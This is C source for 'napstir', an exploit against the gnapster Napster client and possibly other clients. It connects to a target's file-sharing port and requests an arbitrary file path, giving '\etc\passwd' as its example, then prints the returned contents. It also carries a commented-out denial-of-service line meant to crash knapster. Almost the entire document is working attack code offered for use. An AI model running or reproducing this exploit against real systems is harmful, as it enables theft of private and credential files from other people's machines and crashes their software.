/* napstir by Derek Callaway -- S@IRC * * Exploits a gnapster bug... (probably exists in other clients, too.) * Greetings: inNUENdo, s0ftpj, napster * I discovered some service denial techniques while coding; see below. */ #include #include #include #include #include #include #include #include #include void vexit(const char *func){perror(func);exit(EXIT_FAILURE);} int main(int argc,char**argv){ int sock,port,len; struct hostent *he; char str[4096],buf[4096],*sln,*op,c; struct sockaddr_in ta; if(argc<3){ printf("napstir by S\n"); printf("usage: %s host file [port] [username]\n",argv[0]); printf("example: %s metallica.com ",argv[0]); printf("\"\\etc\\passwd\" 6699\n"); printf("default port is 6699\n"); printf("default username is Lamer (usually not required)\n"); exit(EXIT_SUCCESS); } if(!(he=gethostbyname(argv[1])))vexit("gethostbyname"); ta.sin_family=AF_INET; ta.sin_addr=*((struct in_addr*)he->h_addr); if(argv[3]){ port=strtol(argv[3],(char**)0,10); if(errno==ERANGE)vexit("strtol"); } else port=6699; ta.sin_port=htons(port); memset(&ta.sin_zero,0,sizeof(ta.sin_zero)); if((sock=socket(AF_INET,SOCK_STREAM,0))<0)vexit("socket"); if(connect(sock,(struct sockaddr*)&ta,sizeof(struct sockaddr))<0) vexit("connect"); /* I wonder what this byte is for. */ recv(sock,&buf,1,0); /* 9 is the code for T1 bitrate -- Most clients ignore the username * field. */ sprintf(str,"%s \"%s\" 9",(argc>=4)?argv[4]:"Lamer",argv[2]); send(sock,"GET",3,0); send(sock,(char*)str,strlen(str),0); /* * SERVICE DENIAL CODE * * Uncomment this line if you'd like to crash knapster. :-) * send(sock,"0",1); */ if(!(op=sln=(char*)malloc(1024)))vexit("malloc"); do { read(sock,&c,1); sprintf(sln,"%c",c); sln++; } while(isdigit(c)); *sln=0; sln=op; len=strtol(sln,(char**)0,10); if(errno==ERANGE)vexit("strtol"); write(STDOUT_FILENO,&c,1); if((port=read(sock,&buf,len-1))<0)vexit("read"); write(STDOUT_FILENO,buf,port); exit(EXIT_SUCCESS); }

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